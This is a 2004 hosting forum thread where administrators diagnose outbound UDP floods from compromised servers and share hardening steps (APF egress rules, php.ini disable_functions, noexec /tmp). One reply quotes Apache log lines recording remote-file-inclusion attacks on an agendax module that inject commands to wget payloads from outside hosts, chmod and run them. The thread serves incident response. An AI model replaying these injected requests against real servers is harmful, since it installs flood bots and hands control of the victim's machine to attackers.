Outbound UDP Attack

[elenlace]

Hello,

One of my servers was unplugged on Saturday night by an apparent outbound UDP attack. NOTE: I have changed both my IP and the attacked IP.

1 2004-05-15 22:49:47.238141 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=63640)
3 2004-05-15 22:49:47.238227 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=65120)
6 2004-05-15 22:49:47.238373 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) UDP Source port: 52319 Destination port: 58378
8 2004-05-15 22:49:47.239133 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=1480)
12 2004-05-15 22:49:47.239156 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=2960)
13 2004-05-15 22:49:47.239167 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=4440)
15 2004-05-15 22:49:47.239185 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=5920)
18 2004-05-15 22:49:47.239202 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=7400)
23 2004-05-15 22:49:47.239226 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=8880)
27 2004-05-15 22:49:47.239602 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=11840)
29 2004-05-15 22:49:47.239725 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=13320)
32 2004-05-15 22:49:47.239972 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=14800)
34 2004-05-15 22:49:47.240104 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=16280)
40 2004-05-15 22:49:47.240373 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=17760)
41 2004-05-15 22:49:47.240507 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=19240)
43 2004-05-15 22:49:47.240630 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=20720)
44 2004-05-15 22:49:47.240747 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=22200)
45 2004-05-15 22:49:47.240871 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=23680)
46 2004-05-15 22:49:47.241107 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=25160)
48 2004-05-15 22:49:47.241121 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=26640)
49 2004-05-15 22:49:47.241245 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=28120)
50 2004-05-15 22:49:47.241374 X.X.X.X (My IP) -> Y.Y.Y.Y (Some other IP) IP Fragmented IP protocol (proto=UDP 0x11, off=29600)

I have the following:

Red Hat 9 - Kernel Updated
APF 0.93 with all unecessary ports closed
Non-executable TMP partition
MailScanner antivirus
No Shell Access for customers
Compilers broken on server

How can I know if this was an internal attack or a hacker attack? Has the server been compromised? What logs should I review on the server for further information? Any help is greatly appreciated.

Regards,

elenlace

[sleuth1]

I had a similar problem and had to track it down the hard way ,so some of this may be of use to you or someone else.

If you have APF firewall installed (if not install it) put both the IP,s being attacked and the outbound port(s) in the drop list

Most likely you have been hacked by a script kid , generally not looking for root , just wanting to DDos (it is also possible a client has done this, or you may be completely rooted )

Script pissants now know pl. and .c scripts can run in tmp even if you use the securetmp script put out by cpanel

If your machine is back online do a thourough check of /tmp /var/tmp var/spool/mail ( do l -al and look for nobody owner ) and all directories that have no login

Run netstat -anp in ssh and look for any process using that port or any port not in the standard port list , you can kill the pid instantly it shows on the right

look for fake processes running, favorites are ps aux, inetd , exim , these are hard to spot because you get used to seeing them

In whm check (easier to see than in ssh ) current cpu usage , current processes running, look for nobody apart from http on most machines nothing else should be generally running as nobody , so if you have a standard process such as ps aux running as nobody track it down .

note: Hackers always come back , like fleas on a dog, so be alert.

[WCW Fan]

egress filtering on for apf, if it isn't turn it on. I gotta think about this one other then what sleuth1 has said already watch the logs, make sure SSH is using Protocal 2 and rootlogin is off, limit it too only your ip for the time being, then run rkhunter and chkrootkit to see if there is some sort of root kit on your system hopefully not if there is, it's time for an OS-Reinstall

[mr.wonderful]

Originally posted by sleuth1
I had a similar problem and had to track it down the hard way ,so some of this may be of use to you or someone else.

If you have APF firewall installed (if not install it) put both the IP,s being attacked and the outbound port(s) in the drop list

Most likely you have been hacked by a script kid , generally not looking for root , just wanting to DDos (it is also possible a client has done this, or you may be completely rooted )

Script pissants now know pl. and .c scripts can run in tmp even if you use the securetmp script put out by cpanel

If your machine is back online do a thourough check of /tmp /var/tmp var/spool/mail ( do l -al and look for nobody owner ) and all directories that have no login

Run netstat -anp in ssh and look for any process using that port or any port not in the standard port list , you can kill the pid instantly it shows on the right

look for fake processes running, favorites are ps aux, inetd , exim , these are hard to spot because you get used to seeing them

In whm check (easier to see than in ssh ) current cpu usage , current processes running, look for nobody apart from http on most machines nothing else should be generally running as nobody , so if you have a standard process such as ps aux running as nobody track it down .

note: Hackers always come back , like fleas on a dog, so be alert.

Im not sure he has been hacked at all. I also have this issue with APF with the exception that my servers egrass outbound is on so whatever is sending requests outbound to other ips is being blocked. I can assure you my box has not been hacked yet there are these wonderful outbound requests attempting to go out. I was thinking its something to do with the chat system that people can install from the control panel or its some idiot trying to DNS updates.

May 16 05:10:27 v07 kernel: ** OUT_TCP DROP ** IN= OUT=eth0 SRC=66.98.xxx.xxx DST=216.132.149.xxx LEN=65 TOS=0x00 PREC=0x$
May 16 05:10:57 v07 kernel: ** OUT_TCP DROP ** IN= OUT=eth0 SRC=66.98.xxx.xxx DST=216.132.149.xxx LEN=55 TOS=0x00 PREC=0x$
May 16 05:10:57 v07 kernel: ** OUT_TCP DROP ** IN= OUT=eth0 SRC=66.98.xxx.xxx DST=216.132.149.xxx LEN=65 TOS=0x00 PREC=0x$
May 16 05:10:57 v07 kernel: ** OUT_TCP DROP ** IN= OUT=eth0 SRC=66.98.xxx.xxx DST=216.132.149.xxx LEN=65 TOS=0x00 PREC=0x$

And these are going outbound on port 3042. Interesting.

[sleuth1]

its true mr wonderful you do get outbound packets ( a knowledgle person can probably tell possible sources, not me) but the original poster if I understand it, got unplugged by the data center , which you would think means a lot of packets attacking another IP and they apparently wern't blocked by APF, hope he was not hacked , it is a pain in the neck to deal with.

[Michael-MS]

Hackers definitely do like to come back. And /scripts/securetmp does not protect you from it by itself.

On May 1st they ran chmod%20777%20FILENAME;./FILENAME from the tmp directory. It was a UDP flood and I killed the process within a few minutes. Since this server is NOT at ev1 any more, my host was very cooperative and did not pull my server.

After this happened I secured the tmp folder, hoping that this would fix the problem.

On May 22nd, they ran chmod%20777%20FILENAME;./FILENAME again and tried it about 10 times before realizing that it wasn't working any more.

Then a few hours later... bang.. cmd=cd%20/tmp;nohup%20perl%20FILENAME%20IPADDRESS%2080 - again I had to kill the process and this time I tracked down the script that was exploited and enabled php open directory security fix on it.

So let's see what they try next.

By the way.. the script that is exploited is:
/modules/agendax/MODULE-NAME-HERE

I think it's a plugin for some forum software... very BAD bug in it that allows anyone to run a command line operation.

The files downloaded were:
wget%20destroyerbus.hpg.com.br/psybd
members.lycos.co.uk/dlords/dosn.c
wget%20www.nene.nu/bind
AND many more.. lol.. it's a somewhat controversal forum so apparently it attracts this kind of stuff.

I'm pretty sure my server is secure now though. But I'm just pointing out that it takes much more than /scripts/securetmp!

The best advice I got from searching the forums is to do the following:

grep "wget" /usr/local/apache/domlogs/*

This will return a list of logs from domains on your server that used a script to run the wget command - which is needed to download the UDP Flood script to your server. Other things you can search for are the name of the script, "chmod", "perl", and stuff like that.

Good luck!

[elenlace]

Hi,

Many thanks to everyone for their comments, unfortunately we did ordered a restore last Monday and we arrived today and again the server was unplugged due to an outbound UDP attack.

I have a few questions:

- How can I block with APF firewall an UDP attack? Which ports should I leave open for outbound?

- How can I disable for once and for all Wget? I have the compilers off by default but apparently this villans are able to compile on my server without using them. If I disable Wget they won't be able to download anything.

Any help is greatly appreciated.

[Michael-MS]

Originally posted by elenlace
- How can I block with APF firewall an UDP attack? Which ports should I leave open for outbound?

You can't... they use port 80 which needs to be open.

Was your server pulled again or do you have access to your log files?

[elenlace]

Michael,

Fortunately enough the server was not pulled, after reviewing it ev1 did not find any evidence of a root compromise. However, I did follow your advice and was able to find the compromised domain. It was through php/Apache, using a module called eGallery. Apparently, they were able to run any php system command through there. I need to find out how to prohibit php to run system commands.

I have asked the customer to leave the server and will be moving the accounts tonight to avoid any further compromises (changing IPs).

Thanks for all your help!!

Regards,

elenlace

[mr.wonderful]

Originally posted by elenlace
Michael,

Fortunately enough the server was not pulled, after reviewing it ev1 did not find any evidence of a root compromise. However, I did follow your advice and was able to find the compromised domain. It was through php/Apache, using a module called eGallery. Apparently, they were able to run any php system command through there. I need to find out how to prohibit php to run system commands.

I have asked the customer to leave the server and will be moving the accounts tonight to avoid any further compromises (changing IPs).

Thanks for all your help!!

Regards,

elenlace

I worked on a box today that was compromised via the agendax directory. Fortunately the firewall prevented them from logging back in to get root. They installed a a number of .pl scripts then used the perl interpreter to kick them off. Psybnc was killed off and another process listening on port 34436 was also killed off.

The files were downloaded here;

root@cp3 [/tmp]# for files in /usr/local/apache/domlogs/*; do grep "wget" $files; done;
195.230.170.16 - - [02/May/2004:20:49:36 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://www.angelfire.com/mac2/side/cse.gif?&cmd=cd%20/tmp;wget%20members.lycos.co.uk/dlords/dosn.c HTTP/1.0" 200 2692 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
195.230.170.16 - - [02/May/2004:20:50:29 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://www.angelfire.com/mac2/side/cse.gif?&cmd=cd%20/tmp;wget%20destroyerbus.hpg.com.br/psybd HTTP/1.0" 200 3335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
80.181.140.39 - - [05/May/2004:03:32:57 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://www.angelfire.com/mac2/side/cse.gif?&cmd=cd%20/tmp;wget%20http://viperhaxu.hpg.com.br/dosne HTTP/1.1" 200 3292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
80.181.140.39 - - [05/May/2004:03:34:03 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://www.angelfire.com/mac2/side/cse.gif?&cmd=cd%20/tmp;wget%20http://viperhaxu.hpg.com.br/dosne HTTP/1.1" 200 3291 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.217.141.156 - - [06/May/2004:23:58:57 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://portaldotiao.8bit.co.uk/xpl/cmd.gif?&cmd=cd%20/tmp%20;wget%20www.localh0st.hpg.com.br/kback;chmod%20+777%20kback;./kback HTTP/1.1" 200 1456 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
193.226.6.230 - - [07/May/2004:00:30:08 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://clientes.netvisao.pt/jmascare/cmd.txt?&cmd=wget HTTP/1.1" 200 740 "-" "iexplore.exe"
195.230.170.16 - - [07/May/2004:00:30:10 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://clientes.netvisao.pt/jmascare/cmd.txt?&cmd=wget HTTP/1.0" 200 721 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M)"
193.226.6.230 - - [07/May/2004:00:30:22 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://clientes.netvisao.pt/jmascare/cmd.txt?&cmd=cd%20/tmp;wget%20byghy.home.ro/h;chmod%20+777%20h;./h HTTP/1.1" 200 688 "-" "iexplore.exe"
195.230.170.16 - - [07/May/2004:00:30:27 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://clientes.netvisao.pt/jmascare/cmd.txt?&cmd=cd%20/tmp;wget%20byghy.home.ro/h;chmod%20+777%20h;./h HTTP/1.0" 200 662 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M)"
200.222.246.111 - - [09/May/2004:13:36:55 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/tmp;wget%20www.albieri.net/cgi;chmod%20777%20cgi;./cgi HTTP/1.1" 200 1241 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
200.222.246.111 - - [09/May/2004:13:37:47 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/tmp;wget%20www.albieri.net/cgi;chmod%20777%20cgi;./cgi HTTP/1.1" 200 1218 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
200.97.18.9 - - [09/May/2004:19:06:07 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/tmp;wget%20www.nene.nu/bind;chmod%20777%20bind;./bind HTTP/1.1" 200 1226 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
200.97.18.9 - - [09/May/2004:19:09:14 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/var/tmp;wget%20www.albieri.net/xfce.txt;perl%20xfce.txt HTTP/1.1" 200 1388 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
200.96.95.76 - - [13/May/2004:23:55:49 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://www.angelfire.com/mac2/side/cse.gif?&cmd=cd%20/tmp;%20wget%20http://rodrigo-loco.vila.bol.com.br/cgi HTTP/1.1" 200 2738 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
200.222.244.42 - - [22/May/2004:14:16:54 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://www.packetx.org/cmd.gif?&cmd=cd%20/tmp;wget%20www.nene.nu/bind;chmod%20777%20bind;./bind HTTP/1.1" 200 1422 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
200.103.127.12 - - [22/May/2004:18:30:00 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://a1ts.250free.com/cse.gif?&cmd=cd%20/tmp;wget%20www.destroyerbus.hpg.com.br/psybd;chmod%20777%20psybd;./psybd HTTP/1.1" 200 2371 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.154.80.5 - - [23/May/2004:23:24:23 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/var/tmp;wget%20gepcities.yahoo.com.br/pygo0/hu.txt HTTP/1.1" 200 1332 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030630 Mozilla Firebird/0.6"
200.154.80.5 - - [23/May/2004:23:24:39 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/var/tmp;wget%20geocities.yahoo.com.br/pygo0/hu.txt HTTP/1.1" 200 1592 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030630 Mozilla Firebird/0.6"
200.96.95.78 - - [27/May/2004:23:24:10 +1000] "GET /modules/agendax/addevent.inc.php?agendax_path=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=cd%20/var/tmp;%20wget%20http://rodrigo-loco.vila.bol.com.br/bnc_pl.pl HTTP/1.1" 200 652 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
200.176.86.205 - - [02/May/2004:01:48:53 +1000] "GET /filemgmt/viewcat.php?cid=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/var/tmp;ls%20-a;wget;lwp-rget HTTP/1.1" 200 11317 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030630 Mozilla Firebird/0.6"
200.176.86.205 - - [02/May/2004:01:48:55 +1000] "GET /layout/clean/style.css HTTP/1.1" 200 7483 "http://www.thefreespeech.org/filemgmt/viewcat.php?cid=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/var/tmp;ls%20-a;wget;lwp-rget" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030630 Mozilla Firebird/0.6"
200.176.86.205 - - [02/May/2004:01:48:57 +1000] "GET /layout/clean/theme-images/pixel.gif HTTP/1.1" 200 43 "?cid=http://teranova.fr/2003/lila.jpg?&cmd=cd%20/var/tmp;ls%20-a;wget;lwp-rget" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030630 Mozilla Firebird/0.6"

Otherwise the box was clean. Installed mod_security, open_basedir, set /tmp /var/tmp to noexec, set permissions on wget lynx and all the compilers etc.

[bjarne]

You could also disable_functions in php.ini, like anything that gives access to shell and so on. Youd chmod 700 any program that is used comiling sourcecode and you could shorten the max time to run a script.

[ladierainy]

I'm having these same issues.

They went through a clients unpatched coppermine gallery.

I see stuff in var/tmp ... something owned by a nobody, and this mysqlsock thing

Not sure how to delte it or get the stuff off.

Not excaty sure how to do the grep thing offhand either - any links?

I'll be searching on my own just thought I'd see if I can get a few quick answers.

Thanks!

[chirpy]

Please don't cross-post. I've answered some of your questions in your other post.

[Alexandre Duran]

Hi,

I had the same problem.
http://forums.cpanel.net/showthread.php?t=38389

After I reconfigured APF I didn't have more problems:

# Egress filtering [0 = Disabled / 1 = Enabled]
EGF="1"

# Common egress (outbound) TCP ports
EG_TCP_CPORTS="21,22,25,26,27,37,43,53,80,110,113,443,465,873,2089"

# Common egress (outbound) UDP ports
EG_UDP_CPORTS="20,21,53,123,465,873"

I also configured PHP.ini with:

disable_functions = exec, shell_exec, system, passthru

Perhaps that helps.
How is your APF configured?

[ladierainy]

I don't even know ... ack!

APF?

I have so much to learn - thinking it might be best to hire someone to secure this and not wait for me to get past this learning curve to learn to do it myself since I have clients that have multiple sites up.

But for my learning - I havent found reading for the APF thing yet, so I'll need to go find out what that thing is first and where it's located and how to find the setting efore I can post my answer.

Thank you!